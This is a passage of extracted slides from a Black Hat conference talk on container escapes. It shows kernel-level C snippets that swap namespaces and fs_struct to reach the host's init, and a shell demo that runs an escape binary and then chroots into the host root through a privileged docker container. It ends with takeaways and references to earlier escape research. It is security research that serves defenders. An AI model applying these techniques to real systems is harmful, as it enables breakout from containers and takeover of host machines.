Page 98: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

// grab in-container init's mnt NS fd

int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,

"/proc/1/ns/mnt",

O_RDONLY,

0);

// call setns() on it, giving our a better mount

((_sys_setns)(SYS_SETNS))(fd, 0);

Container

PID "1"

Page 99: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

// grab in-container init's mnt NS fd

int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,

"/proc/1/ns/mnt",

O_RDONLY,

0);

// call setns() on it, giving our a better mount

((_sys_setns)(SYS_SETNS))(fd, 0);

Container

PID "1"May lock your host if "PID 1" execs again :(

Page 100: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

OR...

Page 101: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

int umask

seqcount_t seq

int users

fs_struct

int in_exec

spinlock_t lock

struct path pwd

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

struct path root

Page 102: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Getting true init

PID 1

Container

task = (char *)get_task();

init = task;

while (pid != 1) {

init = *(char **)(init + PARENT_OFFSET);

pid = *(uint32_t *)(init + PID_OFFSET);

}

Page 103: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Getting true init

PID 1

Container

task = (char *)get_task();

init = task;

while (pid != 1) {

init = *(char **)(init + PARENT_OFFSET);

pid = *(uint32_t *)(init + PID_OFFSET);

}

Page 104: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Getting true init

PID 1

Container

task = (char *)get_task();

init = task;

while (pid != 1) {

init = *(char **)(init + PARENT_OFFSET);

pid = *(uint32_t *)(init + PID_OFFSET);

}

Page 105: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Swapping out fs_struct

// #define TASK_FS_OFFSET = use pahole() for target kernel

// #define COPY_FS_STRUCT = check /proc/kallsyms for target

kernel

*(uint64_t *)(task + TASK_FS_OFFSET) =

((_copy_fs_struct)(COPY_FS_STRUCT))(

*(uint64_t *)(init + TASK_FS_OFFSET));

Page 106: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Swapping out fs_struct// #define TASK_FS_OFFSET = use pahole() for target kernel

// #define COPY_FS_STRUCT = check /proc/kallsyms for target kernel

*(uint64_t *)(task + TASK_FS_OFFSET) =

((_copy_fs_struct)(COPY_FS_STRUCT))(

*(uint64_t *)(init + TASK_FS_OFFSET));

user@85c050f5:/tmp$ ./escape

// now that we have the root fs, we have free reign

root@85c050f5:/tmp# docker run -it --privileged --pid host -v /:/hostroot

ubuntu

root@b33dac42:/# chroot /hostroot

# :)

Page 107: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Takeaways

Page 108: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

YMMV: Differences in engines, tools, ecosystem change security of containers

Page 109: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Namespaces are hard(ref: CVE-2018-18955)

Page 110: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Engine bugs are awesome,but probably not how you’ll get popped

Page 111: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can
Page 112: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

Thank you

Brandon Edwards

@drraid

[email protected]

Nick Freeman

@0x7674

[email protected]

Page 113: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

ReferencesSpender was escaping before containers were containers, checkout the work:https://www.grsecurity.net/~spender/exploits/

Abusing Privileged and Unprivileged Linux Containers, Jesse Hertz, NCC Grouphttps://www.nccgroup.trust/globalassets/our-

research/us/whitepapers/2016/june/container_whitepaper.pdf

Escape via dirtycow-vdso, scumjrhttps://github.com/scumjr/dirtycow-vdso

Docker Escape Technology, Shengping Wang, Qihoo 360 Marvel Teamhttps://cansecwest.com/slides/2016/CSW2016_Wang_DockerEscapeTechnology.pdf

An Exercise in Practical Container Escapology, Nick Freeman, Capsule8https://capsule8.com/blog/practical-container-escape-exercise/

Page 114: A Compendium of Container Escapes - Black Hat Briefings€¦ · Namespaces. CGroups organize processes into hierarchical groups whose usage of various types of system resources can

ReferencesCVE-2019-5736 RunC Escape, Adam Iwaniuk, Borys Poplawskihttps://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Breaking Out of rkt, Yuval Avrahami, Twistlockhttps://www.twistlock.com/labs-blog/breaking-out-of-coresos-rkt-3-new-cves/